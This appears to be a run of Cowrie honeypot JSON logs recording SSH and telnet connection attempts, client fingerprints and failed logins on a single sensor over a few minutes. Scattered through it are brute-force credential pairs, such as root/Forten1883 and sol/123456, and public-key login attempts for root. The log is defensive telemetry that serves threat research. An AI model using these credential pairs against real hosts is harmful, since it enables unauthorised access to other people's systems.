{"eventid":"cowrie.session.closed","duration":120.01193642616272,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:58.188269Z","src_ip":"153.136.78.124","session":"bf6a26add9d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59408,"dst_ip":"159.203.135.109","dst_port":22,"session":"42572606f73e","protocol":"ssh","message":"New connection: 80.94.92.184:59408 (159.203.135.109:22) [session: 42572606f73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:09.768408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:10.004767Z","src_ip":"80.94.92.184","session":"42572606f73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:10.013335Z","src_ip":"80.94.92.184","session":"42572606f73e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:11.740873Z","src_ip":"80.94.92.184","session":"42572606f73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:12.974219Z","src_ip":"80.94.92.184","session":"42572606f73e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34266,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b69aee2d1a","protocol":"telnet","message":"New connection: 50.6.8.71:34266 (10.17.0.5:23) [session: b2b69aee2d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:14.741215Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45744,"dst_ip":"10.17.0.5","dst_port":23,"session":"65733fb08eab","protocol":"telnet","message":"New connection: 50.6.8.71:45744 (10.17.0.5:23) [session: 65733fb08eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:23.573747Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":43522,"dst_ip":"159.203.135.109","dst_port":22,"session":"944f7f6d106c","protocol":"ssh","message":"New connection: 147.45.211.215:43522 (159.203.135.109:22) [session: 944f7f6d106c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:29.312281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:29.316848Z","src_ip":"147.45.211.215","session":"944f7f6d106c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:29.493488Z","src_ip":"147.45.211.215","session":"944f7f6d106c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:30.028404Z","src_ip":"147.45.211.215","session":"944f7f6d106c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:31.210370Z","src_ip":"147.45.211.215","session":"944f7f6d106c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":43908,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b9a15f92694","protocol":"ssh","message":"New connection: 77.94.47.83:43908 (159.203.135.109:22) [session: 6b9a15f92694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:44.728310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:44.733279Z","src_ip":"77.94.47.83","session":"6b9a15f92694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:44.851039Z","src_ip":"77.94.47.83","session":"6b9a15f92694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:45.205063Z","src_ip":"77.94.47.83","session":"6b9a15f92694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:46.324887Z","src_ip":"77.94.47.83","session":"6b9a15f92694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55566,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ebe1b99272e","protocol":"telnet","message":"New connection: 50.6.8.71:55566 (10.17.0.5:23) [session: 6ebe1b99272e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:49.876767Z"}
{"eventid":"cowrie.session.closed","duration":38.9841251373291,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:53.725207Z","src_ip":"50.6.8.71","session":"b2b69aee2d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55576,"dst_ip":"10.17.0.5","dst_port":23,"session":"268088133813","protocol":"telnet","message":"New connection: 50.6.8.71:55576 (10.17.0.5:23) [session: 268088133813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:57:55.597729Z"}
{"eventid":"cowrie.session.closed","duration":38.21496844291687,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:01.788508Z","src_ip":"50.6.8.71","session":"65733fb08eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54938,"dst_ip":"10.17.0.5","dst_port":23,"session":"663d5ca31295","protocol":"telnet","message":"New connection: 50.6.8.71:54938 (10.17.0.5:23) [session: 663d5ca31295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:12.669493Z"}
{"eventid":"cowrie.session.closed","duration":31.509130716323853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:21.385780Z","src_ip":"50.6.8.71","session":"6ebe1b99272e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53580,"dst_ip":"10.17.0.5","dst_port":22,"session":"56b53f684ab3","protocol":"ssh","message":"New connection: 2.57.122.238:53580 (10.17.0.5:22) [session: 56b53f684ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:21.454785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:21.458683Z","src_ip":"2.57.122.238","session":"56b53f684ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:21.557184Z","src_ip":"2.57.122.238","session":"56b53f684ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:21.856641Z","src_ip":"2.57.122.238","session":"56b53f684ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:22.958397Z","src_ip":"2.57.122.238","session":"56b53f684ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.52159404754639,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:34.119039Z","src_ip":"50.6.8.71","session":"268088133813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":36086,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ec0db48a98","protocol":"telnet","message":"New connection: 67.222.148.25:36086 (10.17.0.5:23) [session: a3ec0db48a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:40.235911Z"}
{"eventid":"cowrie.session.closed","duration":35.02574563026428,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:47.695151Z","src_ip":"50.6.8.71","session":"663d5ca31295","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57968,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee759218f63","protocol":"telnet","message":"New connection: 50.6.8.71:57968 (10.17.0.5:23) [session: eee759218f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:58:49.589563Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41700,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2d1bd0a0e75","protocol":"telnet","message":"New connection: 50.6.8.71:41700 (10.17.0.5:23) [session: e2d1bd0a0e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:00.693352Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":44662,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4bbde951cca","protocol":"ssh","message":"New connection: 128.0.104.39:44662 (10.17.0.5:22) [session: e4bbde951cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:14.435165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:14.440972Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:14.596908Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:15:aa:c0:33:a0:ed:8d:25:18:a7:f7:72:47:33:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAaBOytMunpySMPaTymQxSkw1lOQTlI/Wci7mhd6JHaT9eOTVrgi7HaBNGGjOlhpFPeX6FKXKajyuzikWHI8swc9VEqvNjEqhV9hiz/dFowPtbGNV4bYBhBo0WJ0KzHBgRL3bZpAbVCL7Stl41pMiRnh/XjNi4HMGTdb5KVadaRdAKOc8UPfvtLvSUF2u0F60lXHyEg12ZxFM/xSNkWsDptmRJD+zmi/hl35kl6EU0GJZ1zyQAd+b29idL+ly4yRE/M19A9UJ36qRa+VENdUUyk3ste+YYdCtPs0YoZW/3Ue2pi321EolhR/l4fWwgh7Ov5+nNQXTgaHXLhlrykMfP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:15:aa:c0:33:a0:ed:8d:25:18:a7:f7:72:47:33:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.342775Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:15:aa:c0:33:a0:ed:8d:25:18:a7:f7:72:47:33:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAaBOytMunpySMPaTymQxSkw1lOQTlI/Wci7mhd6JHaT9eOTVrgi7HaBNGGjOlhpFPeX6FKXKajyuzikWHI8swc9VEqvNjEqhV9hiz/dFowPtbGNV4bYBhBo0WJ0KzHBgRL3bZpAbVCL7Stl41pMiRnh/XjNi4HMGTdb5KVadaRdAKOc8UPfvtLvSUF2u0F60lXHyEg12ZxFM/xSNkWsDptmRJD+zmi/hl35kl6EU0GJZ1zyQAd+b29idL+ly4yRE/M19A9UJ36qRa+VENdUUyk3ste+YYdCtPs0YoZW/3Ue2pi321EolhR/l4fWwgh7Ov5+nNQXTgaHXLhlrykMfP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.347140Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:a8:78:e2:e8:b7:9d:a3:45:65:19:5d:60:22:ec:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8APtcYvN1J2pD4Qj5Xq8QwTsnlI6WmHf7BSBks8oj9NkUmjA10oEuHk4mneBqN/aOWXn7/rbcqi2GRd2CFZda/pEssTwumPtWoIZ9eBN5asrWwgajEqR5LhxuOlAiqoUTfqU6NWnBMFFQf799Hiv2qygrFQtigGsR+E7cUQ+PzQmUyiaOS8tyMeE27ydV3JUH98ryRPyUzWxGs7sQQ6c72d8ByfC3dpxG4HEVWueZOqfc4E3+eOTWagCpSbJgVzZqRrYb/jEjUgNCCR3weMkZkO6ZfWrk1OwJM+S9Ogj1b0WuE4AU6/UpIC4zQ10iPQx1cw0SJAcOAQ33Vie6UUW1NfOoItlqp8WM7yq06g7PeyRhQZAZ8J13E/8kMwyu+9OG9KMMt9ZsYwRB+SCdOehoGX20DPMPxvALKUrCNX0DFpddhXBz3UqlZUeEjnULtMYaGA0xzTPdx95IWrf8SdVkuWw+3qMj2Y0yyOI/SGbYIps0XTsZJKi7S4IsvR0Ngspkmcg+f+A7GXch9kv4nvQKSooYK2Jop1lKoM04xKFjMg9JH3+pEe75xbzchmARHUHbIAvVk5ln/sEeIS38kfrdlkrMYhnPCRZOM0aJwk8a3PLpXlKhl2/TGrXpYoR4hgMWa0MNdlOWz+adn7zm4lUI/+qlwZwExyHqjpHeWk7zDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:a8:78:e2:e8:b7:9d:a3:45:65:19:5d:60:22:ec:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.501406Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:a8:78:e2:e8:b7:9d:a3:45:65:19:5d:60:22:ec:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8APtcYvN1J2pD4Qj5Xq8QwTsnlI6WmHf7BSBks8oj9NkUmjA10oEuHk4mneBqN/aOWXn7/rbcqi2GRd2CFZda/pEssTwumPtWoIZ9eBN5asrWwgajEqR5LhxuOlAiqoUTfqU6NWnBMFFQf799Hiv2qygrFQtigGsR+E7cUQ+PzQmUyiaOS8tyMeE27ydV3JUH98ryRPyUzWxGs7sQQ6c72d8ByfC3dpxG4HEVWueZOqfc4E3+eOTWagCpSbJgVzZqRrYb/jEjUgNCCR3weMkZkO6ZfWrk1OwJM+S9Ogj1b0WuE4AU6/UpIC4zQ10iPQx1cw0SJAcOAQ33Vie6UUW1NfOoItlqp8WM7yq06g7PeyRhQZAZ8J13E/8kMwyu+9OG9KMMt9ZsYwRB+SCdOehoGX20DPMPxvALKUrCNX0DFpddhXBz3UqlZUeEjnULtMYaGA0xzTPdx95IWrf8SdVkuWw+3qMj2Y0yyOI/SGbYIps0XTsZJKi7S4IsvR0Ngspkmcg+f+A7GXch9kv4nvQKSooYK2Jop1lKoM04xKFjMg9JH3+pEe75xbzchmARHUHbIAvVk5ln/sEeIS38kfrdlkrMYhnPCRZOM0aJwk8a3PLpXlKhl2/TGrXpYoR4hgMWa0MNdlOWz+adn7zm4lUI/+qlwZwExyHqjpHeWk7zDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:59:15.505132Z","src_ip":"128.0.104.39","session":"e4bbde951cca","protocol":"ssh"}
